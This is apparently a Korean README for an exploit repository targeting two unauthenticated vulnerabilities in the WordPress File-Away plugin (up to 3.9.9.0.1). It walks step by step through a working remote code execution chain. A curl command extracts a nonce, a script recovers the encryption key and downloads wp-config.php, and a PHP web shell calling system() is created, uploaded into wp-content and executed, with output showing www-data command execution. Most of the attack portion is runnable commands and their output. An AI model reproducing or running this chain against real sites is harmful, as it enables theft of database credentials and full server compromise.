
WordPress File-Away 플러그인용 원격 코드 실행 익스플로잇 스크립트 (CVE-2025-2512 및 CVE-2025-2539)
이 저장소는 WordPress 플러그인인 File-Away에서 발견된 취약점 세부 정보와 스크립트를 포함합니다. 이 플러그인은 파일 관리에 사용됩니다.
이 플러그인에는 원격 코드 실행으로 이어질 수 있는 두 가지 취약점이 있습니다 (File-Away 3.9.9.0.1에서 테스트됨):
WordPress용 File-Away 플러그인은 3.9.9.0.1 이하의 모든 버전에서 인증되지 않은 임의 파일 읽기에 취약합니다.
이 취약점은 두 가지 문제로 인해 발생합니다: lib/cls/class.fileaway_stats.php:file_away_stats->ajax() 함수의 인증 확인 부족과 lib/cls/class.fileaway_encrypted.php:fileaway_encrypted->encrypt() 함수에서 약한 암호화 알고리즘 사용입니다.
이로 인해 인증되지 않은 공격자가 WordPress 구성 파일(wp-config.php)을 포함한 임의 파일을 읽을 수 있습니다.
WordPress용 File-Away 플러그인은 3.9.9.0.1 이하의 모든 버전에서 인증되지 않은 임의 파일 업로드에 취약합니다.
이 취약점은 두 가지 문제로 인해 발생합니다: lib/cls/class.fileaway_management.php:fileaway_management->upload() 함수에서의 인증 확인 부족과 잘못된 파일 유형 확인입니다.
이로 인해 인증되지 않은 공격자가 코드 실행으로 이어질 수 있는 임의 파일을 업로드할 수 있습니다.
대상 WordPress 인스턴스에 file-away 플러그인이 설치되어 활성화된 경우, fileaway_stats nonce가 인덱스 페이지에 있어야 합니다:
curl -sk http://127.0.0.1:8000/ | grep -E '^var fileaway_stats.*nonce\":\"([a-f0-9]+)\"};$'
var fileaway_stats = {"ajaxurl":"http:\/\/127.0.0.1:8000\/wp-admin\/admin-ajax.php","nonce":"ff57064c96"};
python 요구사항 설치:
python3 -m venv venv && venv/bin/pip install httpx
임의 파일 읽기 취약점을 사용하여 WordPress 인스턴스 구성 파일(wp-config.php)을 획득합니다:
venv/bin/python3 get_config.py -t http://127.0.0.1:8000
[+] File-Away nonce: ff57064c96
[-] Encrypted web root: LcZh3iec7c3vfHRt2C8=
[-] Decoder: .i%B7%1Dy%F8%21%8A9%25%9Az%29%AA%BB-%BA%FC1%CB%3D5%DB~9%EB%BF%3D
[-] Charset: abcdefghijklmnopqrstuvwxyz0123456789
[+] Encryption Key: f2379aghijklmnopqrstuvwxyz65bc410d8e
[+] Decrypted web root: /var/www/html
[+] Config file downloaded: 127.0.0.1:8000_wp-config.php
업로드할 PHP 파일 생성:
echo '<?php system("id"); ?>' > /tmp/exec.php
임의 파일 업로드 취약점을 사용하여 서버에 파일을 업로드합니다:
PHPvenv/bin/python3 file_upload.py -t http://127.0.0.1:8000 -c 127.0.0.1:8000_wp-config.php -w /var/www/html/ -f /tmp/exec.php
[-] nonce: 4810861b18
[-] upload_nonce: 0c3f44ae83
[-] loc_nonce: a17a2df989
[+] File uploaded: http://127.0.0.1:8000/wp-content/exec.php
⚠️ 파일은 기본적으로 wp-content 디렉토리에 업로드됩니다 ⚠️
업로드된 PHP 파일에 접근:
curl -sk http://127.0.0.1:8000/wp-content/exec.php
uid=33(www-data) gid=33(www-data) groups=33(www-data)